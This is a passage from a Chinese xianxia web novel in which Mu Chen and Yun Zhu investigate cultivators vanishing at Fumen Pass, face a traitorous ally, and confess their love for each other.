何初所说的符门关离莫闻村百里开外,脚程也就三五天的功夫,如今见到实景,才懂得什么是真正的鱼龙混杂。不曾修行的普通人家自动与这里划清界线,形色的修士聚集在此,多是些像慕沉这样没有流派的,仿佛是莫闻村的放大版。
“这里这么乱,还是少拉帮结派的好,”慕沉眼角一突,躲过旁边两人“比武”的招式,对何初道,“听泉宗你一个人去,我们俩人生地不熟的,先按兵不动。”
“行。”何初不疑有他,约定好在客栈等着就直奔听泉宗了。
“先生还真是谨慎,云竹受教了。”剩下他们两人在客栈厢房里对坐,云竹习惯性地倒了一杯茶水放在慕沉前面。
“我瞎说的。”慕沉淡定抿了一口茶。
“什么?”云竹愣住。“先生是故意支走何叔的吗?”
“才不跟他去听泉宗呢,这么大地方你就不想去逛逛吗?”见对方也被唬住,他忍着笑意,语气似乎带了点蛊惑,“想不想去试试我教你的剑术?”
语罢,云竹将他的神情深深印在眼里,难掩欣喜之色,目光都亮了几分,说:“先生带我去。”
“好啊。”
39. 唯桀骜勿论出身
宗堂内,听闻外门传信来报,一名修士并非求学而来,反倒是求见岚月宗师的,掌门裴景鸣打听了来者的情况,不正是几年前与听泉宗结缘的何初嘛。
“是何兄弟?还不快请。”裴掌门也是通过岚月认识的何初,后者猝不及防地找上门来,掌门似乎猜到了些什么。
“掌门,好久不见。近来如何?”何初笑盈盈地走入宗堂,一声嘘寒问暖后,直奔主题,“我偶然经过此地,便想着来找你们叙叙旧。”他四下望了眼,道,“怎么不见我岚月姐姐?”
“本座就不劳你操心了。你这家伙,真正想叙旧的人恐怕是岚月吧,一来便找她,倒是本座不配了。”裴掌门眉头轻挑,言语中透露着些许阴阳怪气。
这岚月宗师与何初乃隔了几辈的交情,可裴景鸣倒是与他同龄,年纪尚小时便被培养为掌门继承者,论阅历道行可比何初深了去。
“别介啊,这不是见到你了。”何初讪讪一笑,走上前揽着对方的肩膀,不与这老狐狸一般辩解,夺过对方手中的折扇,替他扇了扇风。
裴景鸣任由他勾肩搭背,狡黠地笑了一下。“实在不巧,你岚月姐这几天不在宗门里,你要是想见她恐怕还要一段时间。”
“这样啊……那我之前带来的那个婴孩呢?如今也该有我一半高了吧,多半是把我这个叔叔给忘了。”
裴景鸣一听,毫不犹豫开口:“这还用讲?你不看你当时送过来的时候他才多大,能记得什么?等等——”他顿时眯了眯眼,生出了一点防备,“你突然来这里,该不会是要把他带走吧?”
“不行吗?”何初理所当然地看着对方,手中扇子一收。
“好你个何朔生,我就知道你没安什么好心。”裴景鸣“哼”的一声,将他搭在肩上的手撇开,一把将折扇夺了回来,往旁边走了两步,保持点距离。
他没好气地看着对方,“现在孩子被我们养大了,你倒是想起来了。早当初怎么不自己带?阿阳现在是我听泉宗的人。”
何初才想起来这孩子的乳名叫阿阳,仍旧不甘愿地问道:“真的没得说?”
“没得说!”裴景鸣斩钉截铁地拒绝了他,说,“你也知道听泉宗的情况如何,那些外来的修士没一个潜心入我听泉宗,内门弟子甚少,各长老决定将阿阳培养成内门弟子,将来算是纯正的听泉玄师。”
“……”何初与对方干瞪眼了几秒钟,谁也不想让步。
“罢了罢了,”终还是何初拗不过这狐狸,甩了甩手,是作妥协,“阿阳就留在听泉宗吧。若是让我发现你们对他不好,我可要随时带他走,谁都拦不住!”
裴景鸣还没听何初说完,刚想点头说一句“本该如此”,结果一听他说后一句,瞬间气不打一处,连扇子都扔了过去,道:“全宗门上下都对他宝贝得紧!用不着你瞎操心!”
何初“嘿嘿”一笑,接住对方抛来的折扇,有点理亏,他倒是清楚听泉宗不至于虐待一个半大的孩子。
不过他提了个要求:“那让我见阿阳一面吧,总不能叫他连我这个叔叔都不记得了。”
“这还差不多。”裴景鸣缓了缓脸色,“不过他如今不在宗门内。”
“不在?他一个小孩子能去哪?”
“岚月去哪,阿阳自然去哪,你不知道,这小子黏人得很。”
话里话外的,裴景鸣说得好生宠溺,给何初听得嘴角不自觉咧上扬,安心了不少。
“哎呀!我倒要看看他会被你们养得多好!等岚月姐回宗门,记得通知我一声,知不知道!”何初都有点等不及了,上前两只手晃了晃对方的肩。
“知道知道!”裴景鸣被他整得有些不耐,挣开后正身道,“你都到这里,何不多留下几天,横竖岚月也快回来了。”
何初摆了摆手,婉拒了对方:“这就算了吧,我还有正事要办呢。”
“你能有什么正事。”不过既然何初都这么说,裴景鸣也不多做挽留,“得,等岚月回来,本座传信于你。”
符门关真不愧为修士的向往之地,能满足需求的设施、场地、物件、门派,应有尽有,云竹已经在比武场打斗了好几个场次,十分酣畅淋漓,只有在这里打架不需要任何理由。
慕沉就静静地看着对方,不时云竹将视线移到他这,他就会微笑作为回应。前阵子还在莫闻村的时候,云竹跟他、跟何初就比试过,毫无悬念地落败了,这可真是狠狠给少年产生了挫败感。至于云竹是不是这么想的他不清楚,反正慕沉是这么认为的。
人总会有倦怠的时候,云竹一时疏忽,让对面钻了空子,落了台,慕沉全程盯着对方,眼疾手快地接住了云竹。
“先生,我又输了。”云竹眨巴眨巴眼睛,作无辜状看着他。
慕沉轻笑了一声,放开对方,拿起手巾擦了擦云竹额头上的汗水,温声开口:“没有的事,你只是累了,该下场休息了。”
“我不信。”云竹别开眼,撇了撇嘴,“我就是修为太低。”
慕沉有些哭笑不得,云竹怎么突然这么不自信起来了?明明先前哪怕和他比试时都没有这副蔫了吧唧的样子。
“人各有志嘛,不必拘泥于修为这方面的,”慕沉安慰着说,“这世界这么大,你难道不应该想着多去看几眼吗?”
他说着顺便把自己都安慰了,突然觉得云游四方也没什么不好,只要身边的人一直在。
果然人在不同阶段有不同的想法,不总是一成不变的,甚至相悖。
少年心动,也只是藏在心底未曾言说。
台上一人打断了二人的氛围,将云竹击落台下的那人看慕沉气质不俗,跃跃欲试地说:“喂——你跟他认识的话,要不要上来比一下?”
“这就不了吧。”慕沉微笑地婉拒了对面,自然而然拉起云竹的手离开此处。
一大批修士倾巢而出,推搡着人群,把慕沉跟云竹强制分开,挤到了人群的两侧,看
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样子像哪家门派的统一装束,不知在急什么。慕沉顿时心生不快,目光略暗,面对着那群已经走远的修士,内心骂道:好一个目中无人。
“先生!”云竹跑过来拉住他,将他带至公告前,显然是发现了什么,示意他看。
满满当当的告示,有些是逾期的,有些是最近的,其中一张告示尤为醒目,他一眼就注意到了——倒不是因为有多特殊,放在任何地方都鲜有人会关注,只是这上面的俨然是何初的头像。
何初被鸿琛堂通缉了,以叛逃弟子之名。
怎么处处不见鸿琛堂,却处处都是鸿琛堂?慕沉内心吐槽归吐槽,还是对这件事开始重视,很难不将刚刚那群修士联系起来,他们所往的方向正是何初不久前的行迹。
慕沉和云竹相互对视一眼,心照不宣地跟了上去。
此时何初前脚刚离开听泉宗,后脚就已被团团包围,若是没有人知晓并透露他的行踪,慕沉是不相信的。
无属修士纷纷避让,瞬间腾出一片空地。他们冷眼旁观无非有两个原因:一是鸿琛堂乃名门大派,许多人想挤都进不去的,居然有人会叛逃,属实是触到他们的逆鳞;二是没有人愿意当这出头鸟,平白被鸿琛堂盯上。
鸿琛堂此举可谓高明,将何初推向众矢之的。可在慕沉眼里就是欺人太甚。
何初还在与对面对峙,慕沉从容地从人群中走到对方身旁,皮笑肉不笑地看着对面那群修士。
云竹默契地留在原处,蓄势待发。
“你们这么大张旗鼓,就不怕受人诟病?”慕沉冷声道。
领头的修士见何初略微惊讶的表情,以为慕沉只是一个强出头的人,便睨了他一眼,语气十分傲慢:“我等捉拿宗门逃犯,阁下是哪门哪派,还是不要多管闲事。”
好端端地提门派做什么,难道还要告状不成?
慕沉没有搭话,拱手而立,试图让其拿出证据:“所谓逃犯也不过是你们的一面之词罢了。如此目中无人,谁知道你们是不是一己之私。”
“阁下不敢直言,便是无门无派?”领头人上下打量,嗤笑一声,根本不在乎慕沉说了什么,带着十足的挑衅,“还真是口出狂言,我劝你还是谨言慎行,这符门关,强者称道,你等低级修士永无出头之日!”
难道在符门关说话行事之前还得先自报家门?这什么潜规则?
此言一出,饶是慕沉这样包容心极强的人听了都略感不适,可围观的人竟没有一个出来反驳,似乎默认领头者所言非虚,完全就是被这些所谓“高级人士”驯化的模样。
先前刚来此世的慕沉没啥念头,会觉得多一事不如少一事;如今三十好几的慕沉偏偏不信邪,谁要招惹他,便会还回去——赢了,便痛快一时,输了,横竖就是一死。谁怕谁啊?况且云竹还看着他,可不能窝囊退场。
便是无门无派又如何?慕沉举起剑,对准,沉声开口:“那就来证明,到底谁是强者。”
40. 符门关问道论迹
刚说完慕沉就有些后悔,这句属实有点装过头了,万一真打不过,比丢了性命更为难堪的可是丢脸啊!
好在他该相信教他武功的义母兼师姥。
这等自负之人,在慕沉开口之后便沉不住气,分明是见不得有人挑衅他们,作势拔剑袭来。慕沉迅速做出反应,毫无惧意地发起攻势,与何初并肩作战,以二敌十,却很快将对面击败。
领头的人脸色都黑了,可实力摆在这里,纵使不甘也无济于事。
慕沉淡定自若的收起剑,说:“就算是逃犯,也要有能逃的本事。看来你们今日是带不走他了。”
“多谢这位小友出手相助。”何初对他使了个眼色,佯装不认识,接着冷声对那群鸿琛堂的修士说,“既然想让我回去,就不要用这种不入流的罪名强按在我身上,我不买帐,你们就永远拿我没办法。”
慕沉会意,颔首对何初告辞。早知何初这厮还是要去鸿琛堂,他就不出面了,看来是发现了什么不对劲的地方。只是不知具体有什么计划,以及是何人知晓何初的行踪的,暗中联络调查较为稳妥。
他撇下何初离开后,其他一些围观的修士犹豫踟蹰地靠近他,讨好似的笑脸面对,问道:“阁下师承何人?真是好生厉害!”
有人附和道:“可不是!换作我们哪敢和那些宗门对着干啊……”
“而且还是以少胜多!刚刚那个领头的如果我没看错,是鸿琛堂近一批修为最佳的!”有人激动道。
慕沉乍一听,只觉得鸿琛堂废了,还好当年被何初劝退。
“……”
字里行间全是对门派的憧憬向往与敬畏,以及他们有多贬低自己,慕沉根本听不下去。这不就是被洗脑了嘛,把符门关这个地方供上了天,名门大派可望而不可及,人人就都一无是处。
慕沉神情中有些许不耐,忍不住提出疑惑:“你们不过是道行浅了点,那些个门派便仿佛高人一等了,凭什么?谁还不是从基础练上去的。既然瞧不起人,大不了不修了,我看这里也没什么好出路。”
说完,慕沉自顾从周围找出一条间隙钻了出去,留下那些修士面面相觑,若有所思。
他现在更关心云竹去哪了。按理说慕沉离开后云竹不由分说就会出现在他面前,可现在却不见踪影,云竹不是那种不打招呼就一走了之的人。
刚刚在与鸿琛堂弟子对峙时,似乎就没再注意云竹了,排除他不认为的可能性,云竹只有被拐卖的可能。
“……”慕沉被自己的想法逗笑了。要真的拐卖应该不太现实,大抵是云竹将计就计。
“兄台可有看到一个身型纤瘦,大概这么高的少年?”慕沉拉着一个路人就是问,用手大概比划了一下高度,补充道,“着回纹青缎,腰间配的是木剑。”
“木剑倒是特殊,不过确实没什么印象。”被他盘问的路人耐心地回忆,最终还是摇了摇头,略有遗憾,慎重考虑后决定告诉他,“不过最近有几名道友莫名失踪,若是不出意外,阁下寻的人恐怕也是如此。”那名路人还特意提醒他,指了个方向,“比武场那条街往里走,巷子最深处的宝逸坊聚集了那些失踪人员的亲朋,多是情报线索,可能对阁下有点帮助。”
慕沉道谢后便照其所言,的确有一间古老的铺子,落座于此就更加人迹罕至。
门“吱呀”一声,被他推开了,这间巷坊不若外表看起来荒旧,别有洞天。入眼是一道狭长的屏风,慕沉踏过门槛后步履轻盈地从一旁绕入,厅堂内几人的目光全都看过来,上下打量着他。
搞这么隐蔽,像密谋什么大事。
其中一人试探地问道:“阁下有点面生,恐怕是不久前刚来的符门关吧?”
这人应当是他们的领头。慕沉心中泛起一丝狐疑,这也能看出来吗?
许是猜到他的想法,这人解释道:“阁下莫要误会,我等并无恶意,但凡是符门关的普通修士,大家多少都会有点印象。”
“阁下所言不假。”慕沉承认道,顺带说明来意,“听闻此处有关失踪人员的线索,在下的同伴不久前也不见踪影,便来冒昧打扰。”
“原来是这样。”此人听到“失踪”二字,面色忧状,“阁下的同伴修为如何?实不相瞒,近来关中许多修士失踪,他们多是修为尚浅,甚至初出茅庐的,我等猜测是被修为较高的人掳走,纵使不愿也反抗不得。”
慕沉思索了一番,说:“我这位同伴修为尚可。”
“那就奇怪。”此人有些疑惑,紧接着一下子便品出关键,“若是与这众多修士同案,或许阁下的同伴发现了什么端倪,故意中计叫人掳走。不过尚不知作案人的动机如何,此举太过危险,还应当尽早查明下落。阁下可留有同伴之物?”
慕沉顿了几秒钟,从袖袋中取出一条狭长的小盒,将其打开,里面俨然装着五根红褐色的针。
这物品非同寻常,周围人都看愣了一下。领头人眉头跳动,小心接过后一句话也不说,往厅堂侧门走去。
众人紧随其后,慕沉不明就里,也跟着走了进去,其中一人与他并肩,对他解释道:“蓝栎兄精通术法,可以通过个人物品追踪到此人的方位。兄台的同伴是何时失踪的?”
“不超过两刻钟。”慕沉说。
“那便有很大机会。”此人略有笑意,替他高兴道,“蓝栎兄曾多次施法寻我等的同伴,不过时间间隔较长,且那边不知使了什么诡计,无法查到源头,最终都失败了。这次我们都已经打算派人假扮成浅修引诱,蓝栎兄随时追踪,必能找寻幕后之人的老巢。结果好巧不巧,兄台你就出现了,而且还算及时。”
“原来如此。”慕沉了然。
蓝栎坐在蒲团上,打着复杂的结印,口型默念着咒语,不一会儿这五根针齐齐地横在半空中,针头在各个方位来回变动。看起来真真是十分老练。
周围几名修士都屏息凝神,仿佛将成败都压在了这上面。
“阁下。”蓝栎眉头一皱,发现了什么不对劲,分神喊了句,“还请过来相助。”
“蓝栎兄叫你呢。”慕沉身旁一人提醒着,将他轻推了一把,其余修士侧身给他开出一道,目光时而看着他,又时而盯着蓝栎。
慕沉顺势在其对面坐下,冷静开口:“如何助你?”
“阁下随我一样,将灵力注入此阵。”
慕沉试着照做,不一会儿,这针渐渐定住,
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指向南方位。
“这便可以了?”慕沉试探地问了句。
“嗯。”蓝栎有些复杂地看着他,欲言又止。
慕沉被看得不自在,跟着几个修士用同样的称谓喊对方道:“蓝栎兄不妨直说。”
蓝栎听到他喊了句,微顿了一下,干咳一声,收起失态的表情,问:“恕我直言,阁下的这位同伴真的仅是‘修为尚可’吗?这些针不似寻常物件,不听我的召灵玄术。”
这……其实慕沉也只是随便说的,云竹在他面前总是藏着锋芒的,以至于他觉得对方应该在符门关这些修士的中上游,真正的实力他没见过。
见他这么投入地思考,蓝栎默默将针放回盒中,小心地递给他,唤回道:“有机会的话,我还想认识一下阁下的同伴。这针……若是我没猜错的话,上面淬的应该是阁下那位同伴的血。”
慕沉接过,盯着盒子愣了一小会儿。
他刚开始便直觉这些针不太妙。
单陔识逐渐消散在他们面前之时,单缘眼神有些涣散,面无表情地将五根原本插在单陔识身体里的针收回,在手里攥得十分紧。
慕沉盯着对方的手,问:“这些……你留着还有用?”
单缘把手背到身后,默不作声地摇了摇头。
慕沉当时没多注意,只是后来在莫闻村里的偶然一天,慕沉看到放在桌上装有五针的小盒,俨然是云竹落下的,因为他已经有一阵子没看见这玩意,蓦地想起忘记的记忆。
于是他默默收走这个盒子。过了不久,云竹大抵是想起来,有些慌忙地跑回,见到慕沉又故作镇静地看了眼桌子的方向,欲言又止。“先生……”
“怎么了?”慕沉佯装不知的模样,等对方开口。
“我……没什么。先生看我从赵猎头那带回来什么?”云竹只犹豫了一秒钟,便笑着举起一箩筐对慕沉道。
慕沉见云竹有所隐瞒,倒也识趣地不作多问。
蓝栎拍了拍他的肩膀,站起身对他说:“你我接下来的时间里免不得要接触许多,这么一直‘阁下’地叫着也不好,你既知我名讳,我便不多做介绍,请问如何称谓?”
“慕沉。直呼我姓名即可。”
“好的,慕沉。既已知晓方位,寻人便相对简单,不过不可贸然闯入,还需做一手安排。”蓝栎侃侃道来。
不仅只告诉慕沉一人,蓝栎像个军师一样,指导大家要注意的地方、该如何行事,分工明析。
风水玄学之中,南为阳气最盛之方位,故而最适宜修炼体魄。此为净霄斋之主修,外门道不得其法,南边对他们自然是无用,久而久之,提到符门关的南部,便是净霄斋最深入人心。
这时就会有人问了:“它一个显赫门第,连宗门之道都是公众的,怎么会成为修士失踪事件的嫌疑目标呢?”
慕沉便回答了:“表面上光鲜亮丽,还不知私底下什么勾当。”就像当初的绝音阁。既然查出了一点东西,此事若没有半点猫腻,他决计是不信的。
蓝栎听后,抿嘴一笑,附和道:“说得在理。若是净霄斋装疯卖傻,也不必遮掩,修为超过十年的可打头阵。不过切莫恋战,一切以寻人为主。”
41. 萍水相逢,人如新如旧
云竹静观慕沉找鸿琛堂茬的时候,倏地察觉到人群中有不速之客混入逼近。他暗自思量一下,不动声色地后退了几步,离那群人更近了几分,见他们蠢蠢欲动。
待围观人群的注意力集中在慕沉何初那边的打斗,便成为那群不速之客下手的最好时机。
云竹被捂住口鼻,布料上沾了一层碎粉,像是蒙汗药一类的。不过云竹早有准备,提前屏住呼吸不说,还运转丹田,更加难以中招。他假装晕了过去,被人拖着隐出了人群,听声音不止他一个人被下药带走。
尽管按理说他现在是不省人事的状态,但那群人还是给他们都蒙上了眼睛,看来是真的见不得人。
先生等下找不到我怎么办?云竹一想,私下催动灵力将腰间的木剑留在了半道。
当然,那群人不可能没注意到。
“他这玩意掉了,咋整?”有一人听到声音后捡起来。
“扔了!别耽搁时间!”另一人有些不耐,还嗤笑了一声,说,“真是寒酸,连一把像样的剑都没有,难怪修为这么低下。”
一声沉闷的落地声传来,云竹不聋,木剑就这么被随手一丢。
哼,一群不识货的东西。云竹腹诽,这剑可是先生用淘来的枫木一道一道削出来的,精益求精。但他顾不上心疼了,他相信先生会来找他,看到后会捡起来的。
过了不久,云竹听到石柱转动的声音,跟他之前在地牢里听到的声音很像,机关一类的暗道被触发,他们将人带到此处后便撒手离开,因特意抓获的都是修为不高的人,所设阵法复杂,是这些人无法破解的,还多了一些隐匿踪迹的禁制。
如此来看,这些修士即便被发现失踪也只是无头悬案。
“哎,又多了几个可怜人。”黑暗中,传出来一声叹息。
云竹见那群人已经离开,便大方地揭下蒙眼的布条,站起身来回打量了一下四周的环境,简直是似曾相识。
早一批被困在这里的人膛目结舌地望着他,口齿都不清晰了:“你你……你怎么没事?!”
云竹不语,耸了耸肩。
跟云竹同批的修士里,此时又有两人做出摘布条的动作,同样起身观察了四周。
云竹挑了挑眉,想不到还有同类。
那两人似乎也挺意外的,主动上前同他搭话:“兄台看起来并无中计?可是同道中人?”
“算是。我与家中长辈发现此处甚是诡谲,便商议着主动入局调查。”云竹淡然处之。
何初在来之前便告知了他们和鸿琛堂相关的情况,如今何初是鸿琛堂首要的通缉对象,只要一现身,必然会成为众矢之的。回想起刚来符门关之际,沿路皆听闻有门派的不祥风声,慕沉的谨慎不无道理。
“那我们便分头行动,切记不要轻易相认。”慕沉当即表示。
何初已然动身去听泉宗,慕沉云竹原本算是度假的,哪知总是有不怀好意的视线飘来。
“云竹,你发现了吗?”慕沉私语。
“我发现了,先生。‘他们’很难缠。”云竹不经意地瞥过周围。
“还真有些麻烦呢。”慕沉感慨道,“总觉得要有什么不好的事情发生。”
“先生,让我去试探一下‘他们’吧?”云竹主动请缨。
慕沉不假思索地拒绝了对方:“不行。还不知道他们的底细,万一受伤了怎么办。”
“不会的,先生。”
“还是我去吧,你留下来等我的消息。”
“先生,你看起来一点也不像好拿捏的,‘他们’不会上当的。”云竹咧开笑容,十分自然地过去扯了扯慕沉的衣袖。“先生不相信我吗?”
他面色复杂地看着云竹。其实云竹说的确实在理,对方就是因为以前在绝音阁受非人虐待,即使最近被慕沉养好了,但终究还是伤了根骨,看起来是比慕沉要弱一些。
“……”慕沉终是妥协,郑重申明,“一定要保护好自己。”
“先生放心!”
云竹刻意在比武场藏拙,输赢常有,慕沉则毫无保留,虽无比试,却一副高深莫测的样子,看起来就不好对付。两人站一块,云竹就显得格外像需要慕沉照拂的人,特别是听到两人之间的称谓后,但凡有心之人轻易就能上钩。
所以“他们”只等两人分开,而何初与鸿琛堂的纠葛,慕沉“多管闲事”的空档,便是最好的时机。
云竹回神,二人已经开始作介绍道:“在下是沈别宇,这位是我师弟莫池开。我二人早几日外地而来,便发现时有修士不知所踪,故而追查至此。”
“我名云竹。”他同二人言简意赅后,接着将目光投向前几批失踪的人。
这下哪还有人不清楚他们的目的是什么,一瞬间将他们当成救星,修士们仿佛看到了逃离这里的希望。
其中一人识时务地开了口,将自己所知全部毫无保留:“我等已被困于此多日,那些人的修为颇高,想离开这里难如登天。对了……那条小道隔段时期便会有人来择出一两人走,都是护法级别。”说着,有人替他指了指被石块遮挡的暗道,示意他们朝那处看。
“有两拨人?你们没主动进去看看吗?”云竹问。
“是两拨人。我们哪敢随便走,说句实话,不用猜我们都知道这是羊入虎口,越早去死得越快。先前甭管是自愿打探还是被那群人强迫,就没有再回来过的。哎……”那人叹息道——
“有个抓我们的刚开始说漏了嘴,什么炼体、阵法大促之类的,说到底这里不过是转接点,最后干脆一点也不避讳地讲出来。能让我们知道这些,就代表着一辈子都别想出去了。”
听的人脸上都颇有些凝重。
沈别宇问道:“那你可知下一次择人是何时?”
“他们昨天才来,近期应该不会再来了。”
云竹突然问了句:“此处位于符门关南,你们可知是什么的地界?我刚来符门关对这里不熟。”
那人虽不知被抓来了哪里,但一听符门关南部,便不假思索道了句:“净霄斋。”
不曾听过。尽管如此,云竹仍仔细想了一下,喃喃自语:“这条道通往西北……”适时,他往小道走了几步,默念口诀,试
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图探查更深处。
“哎,忘记告诉你们,这地方设下阵法,封禁了灵力修为。”那人颇为遗憾,眼中的目光又暗淡几分。
未果,意料之中。他依旧琢磨不清这符门关,急需人来介绍介绍。
恰好沈、莫师兄弟似乎知道内情,十分斩钉截铁地确认道:“这条路通鸿琛堂。”
他们师兄弟二人从前便知鸿琛堂在研究邪门歪道,总堂分部皆不例外。一把火烧了他们的师门一角后,两人却没有选择江湖闯荡或是归隐田园,而是毅然决定将整个鸿琛堂蛀虫捣毁。来符门关的总堂之际,有了第一次的经验,沿路的鸿琛堂尽数被毁。
纵使千难万险,好在最后还是做到。
“难怪来之前我听闻众多门派被灭门的消息,原来鸿琛堂是你二人的杰作。”云竹不带任何感情地说,“在下佩服。”
“你误会了,”沈别宇莫名汗颜,一时间也不知他是何态度,赶忙解释说,“灭门担待不起,自是未曾牵连同门无辜的师兄弟们。”
云竹听二人自我介绍时便记起他们,与自己还是有点渊源的,虽然此前从未见过面,但早已在此前的计划中摸清底细。他不得不承认这两人无论才略智谋都已然与先前他所了解的更上一层。“既然如此,不如直抵老巢,让他们始料不及。”横竖没人把守在这。
“不可。”沈别宇拉住云竹一腕,对方微挣开,他才收回手道,“若无周密计划,胜算不足,还容易打草惊蛇。”
云竹想起慕沉,若此时先生在这里,已经走进石道了。先生总是不会瞻前顾后的,因为在此之前,先生早就知道接下来的路该怎么走了。
他意味不明道了一句:“若是鸿琛堂里有人接应呢?”
“你的长辈如今在鸿琛堂?”沈别宇略微惊讶,他怎么不记得鸿琛堂容易接纳外人呢。
“是这样,我与两个长辈兵分三路行事,没猜错的话,不久后他们的亲朋就会找上门来。”
“靠谱吗?”出于担忧,沈别宇有些不信任地问了一嘴。
鸿琛堂是不接纳外人,可何初又不是外人,他们上赶着抓他回去呢。
“自然靠谱,我叔叔是鸿琛堂的大师兄,如今就在鸿琛堂;我师傅已经寻我踪迹来了,瞧着没?”云竹淡定地举起一只手,掌心在他们面前摊开,微弱的光圈在手心里盘旋,告诉他们,“若是你们不放心,可留在这里,到时候我师傅来了也好有个接应。”
何初是所有鸿琛堂弟子的师兄,沈、莫俩一听大师兄便知道是他,还在奇怪后者什么时候有个侄子了。沈别宇道:“既然如此,那我们还是同你一块去鸿琛堂吧。”
不过多时,云竹默默收起手,道:“你们去吧,我就不去了。”
这与方才的说法大相径庭,沈别宇不明所以,疑惑地问:“怎么突然改变主意?”
他勾了勾唇角,未曾刻意掩饰笑意,也不知是对他们的解释还是对自己的安慰:“我师傅来了。”
活像有人来给他撑腰了。
“……”也罢,沈别宇莫池开没说什么,赶着时间走了。
42. 责问,空夙愿平生
慕沉一行人就像地痞流氓,不由分说就闯入净霄斋。此前蓝栎又借了一次针施法,按理说云竹已经在禁制屏蔽的范围了,这些针却还是精准地指明了方向。
慕沉虽觉得不对劲,按下不表,专注于对付净霄斋的弟子。他们来之前拉拢了特别多的人,那些所谓“低级修士”,无论修为如何,一听他们有这个需求,便加入了寻人的行列,规模很是庞大,胜在人多。
他还挺惊讶的,想不到他们会如此团结,不过细想,一切都是有迹可循。
真正找到云竹已是一个时辰后,对方身上似乎多了些灰,看起来还有许疲惫,慕沉趁乱的间隙将对方拉到角落,问:“有受伤吗?”
“我很好,先生不必为我担心。”云竹抿嘴一笑,十分体面地转了一圈向他证明。
他将后背上的木剑取下,递给了云竹。捡到这柄剑之时他心里还有些害怕。
“那就好,”慕沉松了一口气,想着这边有别人解决,便打算道,“我们去找何初。”
“好”字还没有等云竹说出口,他们顿时分开一丈远,原来是一直领头阵的蓝栎忽地对他们产生了敌意,及时避开了蓝栎的玄术。
慕沉瞬间作出防备的架势,对方突然的变卦是他没意料到的,便质问:“阁下,你反水的理由是什么?”
“我可从没说过我是来寻人的。”蓝栎唇角上扬,表面上的客套一点也不装了,肆意地盯着云竹,探究的目光溢于言表。“别着急走啊,我不是说过吗,还想认识认识这位小友呢。”
他二人默契地互相靠近几步,又挨在一块,并肩而立。云竹有些不愉,对此人充满了戒心。
“你们走不了的。”蓝栎冷笑,抬手一挥,暗道又涌出了许多净霄斋的弟子,瞬间将混乱的人群包围。
这架势,一看就是想将所有修士瓮中捉鳖。慕沉突然有了一个猜想:蓝栎潜伏在符门关基层的修士中,夺取信任,将所有人引到此处,一个也不放过。此举有仅只有一次机会,蓝栎势必有十足的把握拿下。
他不由得感叹一句江湖险恶,随后在蓝栎的一声令下陷入混战。
这么几回合下去,那些基层的修士哪里算是门派弟子的对手,一个个渐被重新捕获,剩下的朝中心靠拢,慕沉一干人被围了起来。
他全神贯注地盯着四周的敌人,脑中飞速运转,若只有云竹和他还好脱身,但加上这些修为较低的人恐怕有点难度。他不经意地转向云竹,却瞥见对方身上有几道十分刺目的伤痕,顿时心乱了一寸。
千防万防,却不料云竹是在他眼皮子底下受了伤。
慕沉赶忙施术,对方脖颈的伤口急需止血。“怎么这么不小心!”他蹙眉低喝一声,都快要歇斯底里了。
“我没事的,先生放心。”云竹握住他的手表示宽慰。
每次都这么说!但这次真的有些严重了。
慕沉知此时不是说话的时机,朝蓝栎袭去,只是对方的玄术修为确实不假,难以近身。仅犹豫了一息,慕沉闭眼唤剑诀,顷刻间以强势的剑意再次转攻。与此同时,云竹浮手画阵,将此处的所有禁制强行破除,消耗了不少心力,却让慕沉更加施展得开。
蓝栎与他先前对付的人大不相同,招式诡秘,身法十分难缠,像是经验丰富的老油条。可以说是他遇到过最厉害的对手。
这样打下去迟早耗尽力气,可如何是好?
云竹显然时刻关注他,却因被几个修士缠得很死无法帮忙,心下一凌,快速地用剑解决了碍事的人。喝道:“先生,穿骨针!”
慕沉迅速作出反应,将那几根一直揣在身上的针抛向云竹。
蓝栎分神应对,眉头一挑,略有些兴味地看着云竹以及对方的动作,生生受了慕沉一击,转变攻势朝向云竹。
霎时间,悬针立阵。
刚才还神采奕奕的蓝栎,此时仿佛被压制得倒地不起,眼神中充满着不可置信。所有人都没看到这一幕是怎么发生的。
秒了?慕沉诧异地往前走了两步,却被拦在阵外。只见云竹背对着他在蓝栎耳边不知低语什么,那张孤傲的脸瞬间失了神色。
慕沉的眼神也逐渐冷了几分。云竹面对蓝栎之时分明手拿把掐游刃有余,看着对方身上若有似无的伤,哪还能不知道这些伤到底是怎么来的。他不是滋味,心中气闷,悄无声息地退了几步,随后转身不再看对方。
他们人多势众,只要有一个人站出来,便会有一群人争先恐后地反抗。失去蓝栎这个主力,余下的修士被云竹镇住了场,纷纷撤离。经此一事,恐怕符门关的基层修士已经失望殆尽,名门大派再也不是他们的向往之地。鸿琛堂,其中牵连的又岂止这一个门派?真是叫人作呕。
慕沉冷观周围人逃的逃,散的散,各回各家。蓝栎已经失去了行动的能力,他再也忍不住,猛地转身强牵过云竹,朝鸿琛堂的那条小道走。
道路昏暗,彼此看不清对方的神色。云竹感受着手腕上的力道,不明所以地唤了一声:“先生?”
他难得没搭话,云竹胆大心细,很快便清楚他情绪不对了。
他当然得让云竹知道,光自己烦闷有什么劲儿。
“先生那天说我出师了,是什么意思?”云竹垂着脑袋,轻轻挣了一下子,明显语气就不对劲。
那天?哦,慕沉想起来当时聊什么来着。
嗯?什么意思?恶人先告状?
“字面意思啊,我确实没什么能再教你的了。”他眉峰轻佻,听对方接下来作何反应。
“……可我不想出师。”云竹攥着手,低声说,“我不想跟先生撇清关系。”
慕沉一愣。他似乎知道云竹这几天若有若无的不自信和别扭是怎么回事了,就因为他随口说的一句,无心之失。可这也不是对方肆意胡为的理由啊!明明旁人根本伤不到他——
见他不说话,云竹攥得更紧,鼓足勇气与他对视,略提高了点音量:“何叔若是开宗立派,自然不会忘了先生的。到时候会有很多人叫先生‘师父’,而我不算先生真正
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的弟子……从没有真正叫过先生一句‘师父’,我——”
这话题,是不是跑得有点偏了?明明该他质问对方呢,怎么扯到关系上了!
哎,罢了。说到底这些伤还不是因为某个人。某个人迟迟没有表明心意,已经让对方作出不理智的事情了……
下一秒,慕沉直接将云竹揽过来,抱了个紧。云竹声音骤然停顿,瞪大了眼。
“我说过我不会教别人,就是说我不会收徒弟。你我就算没有所谓‘师生’这层关系,也是撇不干净的。”慕沉将双臂收紧,在对方耳畔低语着,直言道,“我才不想做你的师父,云竹,我很喜欢你,我不信你没有感觉。”
云竹闭上双眼,企图平复起伏的心跳,慢慢地回抱住慕沉,喃喃道:“我有感觉!先生,我仰慕您。”他稍加松动,抬起头对上慕沉,接着道:“我第一次看先生跟何叔的配合,简直天衣无缝,叫我好生……嫉妒何叔。”
羡慕过浅,恨不足以。
